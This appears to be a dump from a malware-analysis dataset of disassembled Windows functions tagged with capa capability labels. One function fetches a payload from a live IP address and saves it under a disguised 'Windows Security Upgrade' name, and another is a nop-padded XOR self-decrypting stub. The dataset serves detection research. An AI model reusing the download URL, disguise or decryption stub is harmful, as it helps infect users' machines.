joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471bd0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [fcn.0049bf40]
mov edi, eax
add esp, 4
test edi, edi
jne 0x471bfb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
add edx, eax
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], edx
cmp ebx, dword [esi + 0x10]
jbe 0x471c42
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebx
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov eax, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], eax
jmp 0x471c45
mov ebx, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
mov edx, dword [esi]
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi]
push eax
call ecx
mov eax, dword [ebp + 0x10]
add esp, 8
mov dword [ebp - 4], 0
test eax, eax
je 0x471ca6
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea esp, [esp]
mov dl, byte [ebx]
xor dl, 0x36
mov byte [ebp + 0xb], dl
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
lea eax, [ebp + 0xb]
push eax
push ecx
call edx
mov al, byte [ebx]
xor al, 0x5c
mov byte [ebp + 0xb], al
mov edx, dword [edi + 8]
mov eax, dword [esi + 4]
push 1
lea ecx, [ebp + 0xb]
push ecx
push edx
inc ebx
call eax
add esp, 0x18
dec dword [ebp - 8]
jne 0x471c70
mov ecx, dword [ebp - 4]
pop ebx
cmp ecx, dword [esi + 0x10]
jae 0x471cdf
nop
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push 1
push 0x48a70c
push edx
call eax
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
push 0x48a70d
push ecx
call edx
mov eax, dword [ebp - 4]
inc eax
add esp, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x10]
jb 0x471cb0
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x47a3e9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x47a410
call fcn.004310d4
mov dword [eax], esi
call fcn.004310c1
push 0x16
pop esi
mov dword [eax], esi
call fcn.004325b0
mov eax, esi
jmp 0x47a465
test dword [ebp + 0xc], 0xfffffff9
jne 0x47a3f6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x47a43d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004310e7
pop ecx
call fcn.004310c1
mov eax, dword [eax]
jmp 0x47a465
test al, 0x10
jne 0x47a463
test al, 1
je 0x47a463
test byte [ebp + 0xc], 2
je 0x47a463
call fcn.004310d4
mov dword [eax], 5
call fcn.004310c1
mov dword [eax], 0xd
jmp 0x47a434
xor eax, eax
pop esi
pop ebp
ret
Function at 0x405eef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d908]
jne 0x405ef9
repz ret
jmp fcn.0040e3e8

Function at 0x4156c0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d908]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404f87
and dword [ebp - 0x14], 0
cmp dword [0x44f6e8], 0
mov dword [ebp - 0x18], eax
jne 0x415773
push 0x403370
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41581b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403364
push ebx
call edi
test eax, eax
je 0x41581b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403354
push ebx
mov dword [0x44f6e8], eax
call edi
push eax
call esi
push 0x403340
push ebx
mov dword [0x44f6ec], eax
call edi
push eax
call esi
push 0x403324
push ebx
mov dword [0x44f6f0], eax
call edi
push eax
call esi
mov dword [0x44f6f8], eax
test eax, eax
je 0x415773
push 0x40330c
push ebx
call edi
push eax
call esi
mov dword [0x44f6f4], eax
mov eax, dword [0x44f6f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4157cc
cmp dword [0x44f6f8], ecx
je 0x4157cc
push eax
call esi
push dword [0x44f6f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4157cc
test ebx, ebx
je 0x4157cc
call edi
test eax, eax
je 0x4157c3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4157c3
test byte [ebp - 8], 1
jne 0x4157cc
or dword [ebp + 0x10], 0x200000
jmp 0x4157ff
mov eax, dword [0x44f6ec]
cmp eax, dword [ebp - 0x18]
je 0x4157ff
push eax
call esi
test eax, eax
je 0x4157ff
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4157ff
mov eax, dword [0x44f6f0]
cmp eax, dword [ebp - 0x18]
je 0x4157ff
push eax
call esi
test eax, eax
je 0x4157ff
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44f6e8]
call esi
test eax, eax
je 0x41581b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41581d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405eef
leave
ret
Function at 0x41a6d0
Capabilities:
Connect pipe
Delete directory
Delete file
Get common file path
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
mov eax, 0x1808
call fcn.00417ed0
cmp dword [0x7fee9c], 0x37
jne 0x41a784
push 0x403468
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
lea ecx, [esp + 4]
push ecx
push 0
lea edx, [esp + 0xc14]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 0x40c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
push 0
lea edx, [esp + 0x100c]
push edx
push 0x403474
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x7ff2b0]
mov edx, dword [0x7fe980]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1808
ret
Function at 0x41ae10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x7fee9c]
sub esp, 0x484
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov ebp, 0x2443831
cmp eax, 0x47
jne 0x41ae96
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0x4036e0
mov dword [esp + 0x6c], 0
call esi
xor eax, eax
push eax
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x94]
push eax
push 0x40370c
xor edx, edx
lea ecx, [esp + 0x5c]
push ecx
push edx
push edx
mov word [esp + 0x68], dx
call edi
dec ebp
mov eax, dword [0x44ea78]
mov dword [0x7fee9c], eax
jne 0x41ae35
mov dword [esp + 0x20], 0x764d11c7
mov dword [esp + 0x4c], 0x26b44f20
mov dword [esp + 0x24], 0x1f33c7de
mov dword [esp + 0x10], 0x2e56cff9
mov dword [esp + 0x28], 0x6cde8df8
mov dword [esp + 0x14], 0x796abd53
mov dword [esp + 0x34], 0x3ce56ad4
mov dword [esp + 0x1c], 0x581868fc
mov dword [esp + 0x18], 0xc596c70
mov dword [esp + 0x3c], 0x6d5e9115
mov dword [esp + 0x30], 0x22f372d9
mov dword [esp + 0x40], 0x2ad541d0
mov dword [esp + 0x38], 0x7a5f7c43
mov dword [esp + 0x2c], 0x28d520e
mov dword [esp + 0x48], 0x73f3bc07
mov dword [esp + 0x44], 0x51f578e1
add dword [esp + 0x4c], 0x73e38130
mov eax, 0x3a9c3a87
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x24], 0x6b053f58
add dword [esp + 0x20], 0x2818faf9
add dword [esp + 0x4c], 0x3ab2fc3
sub dword [esp + 0x20], 0x30ad2d47
sub dword [esp + 0x20], 0x4442fc9b
sub dword [esp + 0x28], 0x2285667
add dword [esp + 0x4c], 0x262c99c6
sub dword [esp + 0x14], 0x4dc74448
mov eax, 0x53cf4e1b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x1b067f32
mov eax, 0x67698c83
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x28], 0x7674af1e
mov eax, 0x173863dd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x3d786fdd
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x38471b91
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x45f07edf
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x18], 0x6fea1ecd
sub dword [esp + 0x34], 0x32f1f16e
add dword [esp + 0x34], 0x6e380599
sub dword [esp + 0x18], 0x3ca08c1e
add dword [esp + 0x30], 0x154e8e1
add dword [esp + 0x14], 0x53bb032d
sub dword [esp + 0x14], 0x11166d6c
sub dword [esp + 0x18], 0x2a6a1594
add dword [esp + 0x14], 0x4fb1fe05
mov eax, 0x4b3ce8e6
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], 0x1bc84bb6
sub dword [esp + 0x30], 0x687c0c2b
add dword [esp + 0x48], 0x36e578c2
sub dword [esp + 0x10], 0x7b5e58ec
mov eax, 0x38d0a1fb
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x15793cf4
mov edx, dword [0x44ea6c]
mov dword [0x7ff2b0], edx
call fcn.0041a9e0
pop edi
xor eax, eax
pop esi
pop ebp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401380
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.99u9u9u9u99u.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013e1
xor al, al
jmp 0x40141b
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401419
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401420
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401380
movzx eax, al
test eax, eax
je 0x401474
push 0x104
push 0x403298
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x403298
push str._sWindows_Security_Upgrade_Settings.exe
push 0x4034a0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push str.http:__185.215.113.66_ev.exe
call fcn.004010b0
add esp, 4
xor eax, eax
pop ebp
ret 0x10
Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x77ea0185
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x550f392a
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x402d60
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004060dd
xor ebx, ebx
cmp eax, ebx
jne 0x402e43
test byte [ebp + 0x10], 2
je 0x402dc1
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x110]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x402e28
lea eax, [ebp - 0x110]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
jmp 0x402dfd
test edi, edi
jne 0x402e28
push dword [ebp + 0x10]
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 4]
call fcn.00402d60
test eax, eax
jne 0x402e06
lea eax, [ebp - 0x110]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x402dd6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.0040667f
test eax, eax
jne 0x402e38
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x402e43
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x402e43
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x403168
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x403185
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x403194
mov ebx, 0x4178d8
mov eax, dword [ebp + 8]
test eax, eax
jl 0x4031a9
mov ecx, dword [0x424378]
add ecx, eax
push ecx
call fcn.0040335a
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403344
test eax, eax
je 0x4032fb
test byte [ebp + 0x17], 0x80
je 0x4032e4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40b848
mov dword [ebp - 0xc], eax
call fcn.004067a4
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x40333a
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x4031f9
mov esi, dword [ebp + 0x14]
mov edi, 0x4138d8
push esi
push edi
call fcn.00403344
test eax, eax
je 0x4032fb
sub dword [ebp + 0x14], esi
mov dword [0x40b860], edi
mov dword [0x40b864], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40b848
mov dword [0x40b868], ebx
mov dword [0x40b86c], eax
call fcn.004067c4
test eax, eax
mov dword [ebp - 0x10], eax
jl 0x4032dc
mov esi, dword [0x40b868]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x4243d4], 1
mov edi, eax
je 0x40329b
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x403268
cmp dword [ebp + 0x14], 0
jne 0x40329b
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x50]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
push 0
call fcn.0040539b
mov dword [ebp - 0xc], edi
test esi, esi
je 0x4032d0
cmp dword [ebp + 0x10], 0
jne 0x4032b8
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00405e91
test eax, eax
je 0x4032e0
add dword [ebp - 4], esi
jmp 0x4032c4
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x40b868]
cmp dword [ebp - 0x10], 1
jne 0x40321c
jmp 0x40333a
cmp dword [ebp + 0x14], 0
jg 0x4031ec
jmp 0x40333a
push 0xfffffffffffffffc
jmp 0x4032fd
push 0xfffffffffffffffe
jmp 0x4032fd
test edi, edi
je 0x40332f
cmp dword [ebp + 0x14], esi
jge 0x4032f0
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403344
test eax, eax
jne 0x403337
push 0xfffffffffffffffd
pop eax
jmp 0x40333d
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x40330b
mov esi, dword [ebp + 0x14]
mov edi, 0x4138d8
push esi
push edi
call fcn.00403344
test eax, eax
je 0x4032fb
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405e91
test eax, eax
je 0x4032e0
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403300
jmp 0x40333a
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4058f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x422128], 0x44
push eax
xor eax, eax
push 0x422128
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40592f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405933
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x4059d1
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405dc5
mov edi, eax
cmp edi, 0xffffffff
je 0x405a12
test byte [esp + 0x10], 1
push esi
je 0x4059f4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4059fa
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405a03
xor eax, eax
inc eax
jmp 0x405a14
test byte [esp + 0x10], 4
jne 0x405a12
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x405a19
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405cd7
test bl, 8
mov dword [ebp - 0xc], eax
je 0x405a58
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4243a8], eax
jmp 0x405be2
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405a72
test eax, eax
je 0x405b90
test bl, 2
je 0x405b90
mov esi, 0x421928
push edi
push esi
call fcn.00406257
cmp dword [ebp + 8], 0
je 0x405a91
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405a97
push edi
call fcn.00405c30
cmp byte [edi], 0
jne 0x405aa5
cmp byte [0x421928], 0x5c
jne 0x405ab0
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405b86
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405c14
cmp byte [eax], 0
je 0x405af6
cmp byte [ebp - 0x1c], 0
je 0x405af6
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x405b0c
mov al, byte [esi + 1]
test al, al
je 0x405b65
cmp al, 0x2e
jne 0x405b0c
cmp byte [esi + 2], 0
je 0x405b65
push esi
push ebx
call fcn.00406257
test byte [ebp - 0x14c], 0x10
je 0x405b31
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405b65
push dword [ebp + 0xc]
push edi
call fcn.00405a19
jmp 0x405b65
push dword [ebp - 4]
push edi
call fcn.004059d1
test eax, eax
jne 0x405b5d
cmp dword [ebp - 4], eax
je 0x405b55
push edi
push 0xfffffffffffffff1
call fcn.0040539b
push 0
push edi
call fcn.00406030
jmp 0x405b65
inc dword [0x4243a8]
jmp 0x405b65
push edi
push 0xfffffffffffffff2
call fcn.0040539b
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405ad4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405b90
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405be2
cmp dword [ebp - 0xc], esi
jne 0x405ba4
inc dword [0x4243a8]
jmp 0x405be2
push edi
call fcn.004065ea
test eax, eax
je 0x405be2
push edi
call fcn.00405be9
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.004059d1
test eax, eax
jne 0x405bda
cmp dword [ebp - 4], esi
je 0x405b9c
push edi
push 0xfffffffffffffff1
call fcn.0040539b
push esi
push edi
call fcn.00406030
jmp 0x405be2
push edi
push 0xffffffffffffffe5
call fcn.0040539b
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405cd7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421d28
push esi
call fcn.00406257
push esi
call fcn.00405c82
mov edi, eax
test edi, edi
jne 0x405cf8
xor eax, eax
jmp 0x405d4a
push edi
call fcn.00406551
test byte [0x424338], 0x80
je 0x405d11
mov al, byte [edi]
test al, al
je 0x405cf4
cmp al, 0x5c
je 0x405cf4
sub edi, esi
jmp 0x405d29
call fcn.004065ea
test eax, eax
je 0x405d23
test byte [eax], 0x10
je 0x405cf4
push esi
call fcn.00405c30
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405d15
call fcn.00405be9
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc5
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de4
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x405dea
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405e19
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a3cc]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405e5e
test edi, edi
jne 0x405e24
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405e58